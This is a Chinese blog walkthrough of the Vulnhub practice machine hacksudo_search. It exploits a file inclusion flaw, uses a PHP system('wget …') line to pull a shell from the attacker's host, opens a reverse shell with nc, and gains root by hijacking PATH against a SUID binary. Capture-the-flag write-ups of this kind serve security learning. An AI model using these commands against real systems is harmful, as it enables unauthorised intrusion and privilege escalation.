Vulnhub:hacksudo_search

nmap扫描端口:

https://s4.ax1x.com/2022/01/03/THl5SU.png

💡 开放ssh端口和http端口

浏览器打开80端口:

https://s4.ax1x.com/2022/01/03/THG63V.png

页面只有一个搜索框,输入之后会跳转到搜索页面。

gobuster进行web页面路径爆破:

gobuster dir -e -w C:\Users\Administrator\Desktop\gobuster\dir.txt -u 192.168.0.18 | grep -v "403"

https://s4.ax1x.com/2022/01/03/THlhWT.png

💡 发现search1.php页面

https://s4.ax1x.com/2022/01/03/THloy4.png

gobuster进行参数fuzz:

https://s4.ax1x.com/2022/01/03/THlbwR.png

💡 me参数存在文件包含漏洞

试着读取一下/etc/passwd文件:

https://s4.ax1x.com/2022/01/03/THlTOJ.png

包含shell.php:

使用包含着下载shell.php命令的exec.php执行下载命令,然后反弹。

<?php system('wget http://192.168.0.16:8000/shell.php'); ?>

https://s4.ax1x.com/2022/01/03/THlHm9.png

由于无法上传文件,使用python搭建http服务下载shell.php就能反弹了。

#python快速开启http服务:
pyhton -m http.server 8000
#nc监听端口:
nc -lvvp 1234

先用me参数访问exec.php,等下载好shell.php之再访问,然后就可以用nc连接。

https://s4.ax1x.com/2022/01/03/THlqT1.png

https://s4.ax1x.com/2022/01/03/THlOFx.png

💡 shell.php下载完成,并且已经可以访问。

https://s4.ax1x.com/2022/01/03/THlxSO.png

nc连接成功。

提权:

在/var/www/html下存在.env目录,其中的数据库密码MyD4dSuperH3r0!可以用于hacksudo用户登录。

https://s4.ax1x.com/2022/01/03/THlzlD.png

https://s4.ax1x.com/2022/01/03/TH1S6e.png

💡 hackdo登录成功。

查找SUID文件进行提权:

find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

https://s4.ax1x.com/2022/01/03/TH1Cmd.png

home目录下的searchinstall文件具有SUID权限。

https://s4.ax1x.com/2022/01/03/TH1P0A.png

💡 setuid(0)可以用于提权,只要替换一下install命令就可以直接获取root权限

#用bash命令替换install命令并替换环境变量,这样就可以用root权限执行bash命令.
echo "/bin/bash" > /tmp/install
chmod 777 install
export PATH=/tmp:$PATH

https://s4.ax1x.com/2022/01/03/TH1kkt.png

💡 提权成功

root.txt:

https://s4.ax1x.com/2022/01/03/TH1iTI.png

note.txt:

https://s4.ax1x.com/2022/01/03/TH1AtP.png

mysql登录一下:

https://s4.ax1x.com/2022/01/03/TH1Eff.png

search1.php

https://s4.ax1x.com/2022/01/03/TH1e1S.png

Vulnhub:hackdo_search下载链接:

https://www.vulnhub.com/entry/hacksudo-search,683/

gobuster链接:

https://github.com/OJ/gobuster

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值